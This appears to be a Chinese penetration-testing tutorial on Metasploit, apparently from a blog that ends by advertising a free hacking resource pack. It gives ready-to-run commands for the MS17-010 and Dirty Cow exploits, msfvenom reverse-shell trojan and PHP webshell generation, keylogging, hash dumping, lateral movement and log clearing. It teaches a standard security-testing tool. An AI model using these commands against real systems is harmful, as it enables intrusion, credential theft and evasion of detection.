1. MSF简介
Metasploit Framework(MSF)是一个开源的渗透测试框架,集成了漏洞利用代码(Exploit)、载荷(Payload)、辅助工具(Auxiliary)和后渗透模块(Post),被广泛应用于安全研究和渗透测试。MSF通过模块化设计,简化了漏洞利用和后渗透操作,帮助测试人员快速验证系统安全性。它是渗透测试领域的核心工具之一,理解其模块和使用流程是学习的关键。
2. MSF模块详解
MSF的强大功能源于其模块化设计,主要模块包括:
-
Exploit(漏洞利用模块) 针对特定漏洞的攻击代码,例如
ms17_010_eternalblue
,用于触发目标系统的漏洞。 -
Payload(载荷模块) 漏洞利用成功后执行的代码,例如反弹Shell(
reverse_tcp
),用于建立与攻击者的连接。 -
Auxiliary(辅助模块) 用于信息收集或辅助任务,例如端口扫描(
portscan/tcp
)、弱口令测试(ssh_login
)。 -
Post(后渗透模块) 在获得目标访问权限后的操作,例如权限提升(
getsystem
)、数据收集(hashdump
)。 -
Encoder(编码器) 对Payload进行编码以绕过杀毒软件检测,例如
shikata_ga_nai
。 -
NOP(空指令) 填充Payload以确保执行稳定性,通常用于缓冲区溢出攻击。
核心要点:Exploit、Payload、Auxiliary和Post是MSF的基础模块,理解其功能和应用场景至关重要。
3. MSF安装与更新方式
-
安装(以Kali Linux为例)
apt update && apt install metasploit-framework
-
更新
apt update && apt upgrade metasploit-framework
或使用旧命令(视版本而定):
msfupdate
。
核心要点:保持MSF最新版本可以获取最新的漏洞利用代码和功能修复。
4. 渗透测试攻击步骤
渗透测试是一个系统化的流程,通常包括以下步骤:
-
信息收集 扫描目标的端口、服务版本,识别潜在漏洞。
-
漏洞发现 通过公开漏洞数据库(如Exploit-DB)查找目标系统的已知漏洞。
-
漏洞利用 选择合适的Exploit模块,配置Payload,执行攻击。
-
后渗透 进行权限提升、数据收集和持久化控制。
-
清理痕迹 删除日志和文件,避免被检测。
案例:
-
目标:Windows Server,开放445端口。
-
步骤:
-
使用
auxiliary/scanner/smb/smb_version
扫描SMB版本。 -
在Exploit-DB中搜索MS17-010漏洞。
-
使用
exploit/windows/smb/ms17_010_eternalblue
执行攻击。 -
提权并抓取密码哈希。
-
使用
clearev
清除日志。
-
核心要点:每个步骤依赖前一步的结果,需按顺序执行。
5. 基本命令使用
熟练掌握MSF的基本命令是操作的基础,以下是常用命令:
-
msfconsole
:启动MSF控制台。 -
search <keyword>
:搜索模块,例如search ms17-010
。 -
use <module>
:选择模块,例如use exploit/windows/smb/ms17_010_eternalblue
。 -
show options
:查看模块配置项。 -
set <option> <value>
:设置参数,例如set RHOST 192.168.1.100
。 -
exploit
或run
:执行模块。 -
sessions
:查看和管理会话。
案例:
-
攻击MS17-010:
use exploit/windows/smb/ms17\_010\_eternalblue set RHOST 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse\_tcp set LHOST 192.168.1.7 exploit
核心要点:基本命令是MSF操作的基石,需通过实践熟练掌握。
6. MSF生成木马命令
MSF的msfvenom
工具用于生成各种Payload,例如木马程序。
-
生成Windows木马:
msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.7 LPORT=4444 -f exe -o shell.exe
-
监听反弹Shell:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse\_tcp set LHOST 192.168.1.7 set LPORT 4444 exploit
核心要点:木马生成与监听需配合使用,确保LHOST和LPORT参数一致。
7. 公开漏洞利用查找方式
渗透测试人员常使用以下资源查找公开漏洞:
-
Exploit-DB 通过
searchsploit
命令搜索漏洞利用代码,例如:searchsploit exchange windows remote
。 -
其他资源 CVE数据库、GitHub、漏洞公告(如NVD)。
案例:
- 查找MS17-010:
searchsploit ms17-010
。
核心要点:公开漏洞是渗透测试的重要依据,需结合多种资源验证。
8. Windows漏洞利用案例
漏洞:MS17-010(EternalBlue),影响Windows SMBv1,可实现远程代码执行。
-
利用步骤:
-
use exploit/windows/smb/ms17_010_eternalblue
-
set RHOST 192.168.1.100
-
set PAYLOAD windows/x64/meterpreter/reverse_tcp
-
set LHOST 192.168.1.7
-
exploit
-
-
案例:
-
场景:目标为Windows 7,445端口开放。
-
结果:成功获取Meterpreter会话,可执行后渗透操作。
-
核心要点:Payload需匹配目标系统架构(如x64)。
9. Linux漏洞利用案例
漏洞:Dirty Cow(CVE-2016-5195),Linux内核提权漏洞。
-
利用步骤:
-
已有低权限会话(SESSION 1)。
-
use exploit/linux/local/dirtycow
-
set SESSION 1
-
exploit
-
-
案例:
-
场景:目标为Ubuntu 16.04,已通过SSH弱口令获得Shell。
-
结果:成功提权至root。
-
核心要点:Linux漏洞多用于提权,需先获得初始访问权限。
10. Auxiliaries(辅助模块)
辅助模块用于信息收集和辅助任务,常用模块包括:
-
端口扫描:
auxiliary/scanner/portscan/tcp
- 示例:
set RHOSTS 192.168.1.0/24 && run
- 示例:
-
SMB版本扫描:
auxiliary/scanner/smb/smb_version
- 示例:
set RHOSTS 192.168.1.100 && run
- 示例:
-
SSH弱口令测试:
auxiliary/scanner/ssh/ssh_login
- 示例:
set USERNAME root && set PASSWORD toor && run
- 示例:
案例:
-
扫描SMB版本:
use auxiliary/scanner/smb/smb\_version set RHOSTS 192.168.1.0/24 run
核心要点:辅助模块是信息收集的关键工具。
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
11. Post(后渗透攻击)
后渗透模块用于在获得访问权限后执行进一步操作,常用命令包括:
-
进程迁移:
run post/windows/manage/migrate
-
权限提升:
getsystem
-
键盘记录:
keyscan_start
、keyscan_dump
-
屏幕截图:
screengrab
-
抓取密码哈希:
run post/windows/gather/hashdump
案例:
-
场景:已获得Windows低权限会话。
-
步骤:
-
run post/windows/manage/migrate
(绑定到svchost.exe
)。 -
getsystem
(提权)。 -
run post/windows/gather/hashdump
(抓取哈希)。
-
核心要点:后渗透模块用于巩固控制权和收集敏感信息。
12. 进程迁移
渗透进入的Shell通常不稳定,易被用户关闭,因此需要迁移到稳定进程。
-
命令:
run post/windows/manage/migrate
-
目的:绑定到如
explorer.exe
或svchost.exe
等系统进程。
案例:
-
场景:Meterpreter会话绑定在Web服务器进程上,易被重启。
-
步骤:
run post/windows/manage/migrate PID=1234
(PID为稳定进程ID)。
核心要点:进程迁移提高Shell的持久性和隐蔽性。
13. 权限提升
在获得低权限访问后,需提升至管理员或SYSTEM权限。
-
命令:
getsystem
-
其他方式:利用本地提权漏洞,如
exploit/windows/local/bypassuac
。
案例:
-
场景:已获得普通用户Shell。
-
步骤:
getsystem
或使用提权模块。
核心要点:权限提升是后渗透的关键步骤。
14. 键盘记录与屏幕截图
-
键盘记录:
keyscan_start
(开始记录)、keyscan_dump
(查看记录)。 -
屏幕截图:
screengrab
案例:
-
场景:监控目标用户操作。
-
步骤:
keyscan_start
后等待一段时间,keyscan_dump
查看按键记录。
核心要点:用于收集敏感信息,如密码。
15. 抓取密码哈希
-
命令:
run post/windows/gather/hashdump
-
工具:Mimikatz(需加载
kiwi
模块)。
案例:
-
场景:已提权至SYSTEM。
-
步骤:
load kiwi
、creds_all
(列举凭据)。
核心要点:哈希可用于进一步攻击,如传递哈希(Pass-the-Hash)。
16. 文件系统操作
-
命令:
-
pwd
:当前目录。 -
getwd
:本地工作目录。 -
search -f *.txt -d c:\
:搜索文件。 -
upload
/download
:上传/下载文件。
-
案例:
-
场景:查找并下载敏感文件。
-
步骤:
search -f *password*.txt -d c:\users
。
核心要点:文件操作是后渗透中收集数据的重要手段。
17. 移植漏洞利用代码模块
MSF支持用户移植外部漏洞利用代码。
-
步骤:
-
查找Exploit-DB中的POC。
-
转换为MSF模块格式。
-
加载并使用。
-
案例:
-
场景:移植自定义漏洞利用代码。
-
步骤:参考MSF官方文档编写模块。
核心要点:自定义模块扩展MSF功能,适应更多场景。
18. Web后门
Web后门(如Webshell)是常见的持久化控制手段。
-
生成Webshell:
msfvenom -p php/meterpreter/reverse\_tcp LHOST=192.168.1.7 LPORT=4444 -f raw > shell.php
-
监听:与木马监听相同。
案例:
-
场景:上传Webshell到Web服务器。
-
步骤:上传
shell.php
,访问触发,MSF接收会话。
核心要点:Webshell提供对Web服务器的持久访问。
19. 内网攻击与渗透测试过程
内网渗透通常涉及横向移动和域渗透。
-
命令:
-
run post/windows/gather/enum_logged_on_users
:枚举登录用户。 -
run autoroute
:设置路由。 -
use exploit/windows/smb/psexec
:横向移动。
-
案例:
-
场景:已控制边界服务器,需攻击内网其他主机。
-
步骤:使用
autoroute
设置路由,psexec
攻击其他主机。
核心要点:内网渗透需利用已控制主机作为跳板。
20. 后渗透操作命令集合
-
上传文件:
upload /path/to/file
-
下载文件:
download /path/to/file
-
执行命令:
execute -f cmd.exe
-
查看系统信息:
sysinfo
-
清除日志:
clearev
核心要点:后渗透命令用于维护访问和收集信息。
21. 清理痕迹
-
命令:
clearev
(清除Windows事件日志) -
其他操作:删除上传的文件、关闭开启的服务等。
案例:
-
场景:完成渗透测试后清理。
-
步骤:
clearev
、rm /path/to/file
。
核心要点:清理痕迹避免被检测,保持隐蔽性。
知识点流程总结
-
准备阶段 安装并更新MSF,启动
msfconsole
。 -
信息收集 使用Auxiliary模块扫描目标。
-
漏洞利用 选择Exploit模块,配置Payload,执行攻击。
-
后渗透 提权、数据收集、持久化。
-
清理 清除痕迹,避免暴露。
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~